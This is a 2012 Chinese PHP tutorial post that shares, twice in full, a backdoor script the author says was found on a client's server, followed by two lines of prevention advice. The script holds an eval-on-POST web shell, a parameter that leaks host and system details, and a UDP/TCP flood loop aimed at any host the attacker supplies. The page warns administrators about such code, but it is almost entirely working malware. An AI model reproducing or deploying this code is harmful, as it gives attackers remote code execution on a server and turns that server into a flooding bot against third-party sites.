php cc攻擊代碼與防范方法
更新時間:2012年10月18日 14:29:02 作者:
今天把客戶查找后門的時候發(fā)現(xiàn)的代碼,特分享下,看到這樣的代碼就是黑客用來攻擊別人訪問,不斷訪問指定網(wǎng)站,導(dǎo)致網(wǎng)站無法訪問,我們的網(wǎng)站就是幫兇了,同時我們自己的網(wǎng)站或服務(wù)器也會無法訪問,所以一定要注意防范。
cc攻擊代碼,支持udp
<?php
eval($_POST[Chr(90)]);
set_time_limit(86400);
ignore_user_abort(True);
$packets = 0;
$http = $_GET['http'];
$rand = $_GET['exit'];
$exec_time = $_GET['time'];
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0)
{
if(StrLen($_GET['rat'])<>0)
{
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
echo "Php 2012 Terminator";
exit;
}
for($i=0;$i<65535;$i++)
{
$out .= "X";
}
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
$max_time = time()+$exec_time;
if($rand==53)
while(1)
{
$packets++;
if(time() > $max_time)
{
break;
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>
對于cc攻擊的防范,如果是動態(tài)頁面,我們可以判斷時間,如果是靜態(tài)的網(wǎng)站我們就需要服務(wù)器上安裝防cc攻擊的軟件了, 一般服務(wù)器安全狗還是不錯的。
如果你有好的軟件也可以給我們留言。
復(fù)制代碼 代碼如下:
<?php
eval($_POST[Chr(90)]);
set_time_limit(86400);
ignore_user_abort(True);
$packets = 0;
$http = $_GET['http'];
$rand = $_GET['exit'];
$exec_time = $_GET['time'];
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0)
{
if(StrLen($_GET['rat'])<>0)
{
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
echo "Php 2012 Terminator";
exit;
}
for($i=0;$i<65535;$i++)
{
$out .= "X";
}
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
$max_time = time()+$exec_time;
if($rand==53)
while(1)
{
$packets++;
if(time() > $max_time)
{
break;
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>
對于cc攻擊的防范,如果是動態(tài)頁面,我們可以判斷時間,如果是靜態(tài)的網(wǎng)站我們就需要服務(wù)器上安裝防cc攻擊的軟件了, 一般服務(wù)器安全狗還是不錯的。
如果你有好的軟件也可以給我們留言。
相關(guān)文章
laravel validate 設(shè)置為中文的例子(驗證提示為中文)
今天小編就為大家分享一篇laravel validate 設(shè)置為中文的例子(驗證提示為中文),具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2019-09-09Phpstorm+Xdebug斷點調(diào)試PHP的方法
這篇文章主要介紹了Phpstorm+Xdebug斷點調(diào)試PHP的方法,本教程將通過配置Xdebug擴展進行斷點調(diào)試,目的在于提高大家的開發(fā)效率,感興趣的小伙伴們可以參考一下2018-05-05Zend Framework教程之路由功能Zend_Controller_Router詳解
這篇文章主要介紹了Zend Framework教程之路由功能Zend_Controller_Router,詳細分析了路由功能Zend_Controller_Router的原理,使用技巧與相關(guān)注意事項,需要的朋友可以參考下2016-03-03PHP無限循環(huán)獲取MySQL中的數(shù)據(jù)實例代碼
最近公司有個需求需要從MySQL獲取數(shù)據(jù),然后在頁面上無線循環(huán)的翻頁展示.其實這個功能可以通過jq實現(xiàn),也可以通過php+mysql實現(xiàn),下面小編給大家分享基于PHP無限循環(huán)獲取MySQL中的數(shù)據(jù)實現(xiàn)方法,感興趣的朋友一起看看吧2017-08-08php實現(xiàn)utf-8轉(zhuǎn)unicode函數(shù)分享
這篇文章主要介紹了php實現(xiàn)utf-8轉(zhuǎn)unicode函數(shù)分享,需要的朋友可以參考下2015-01-01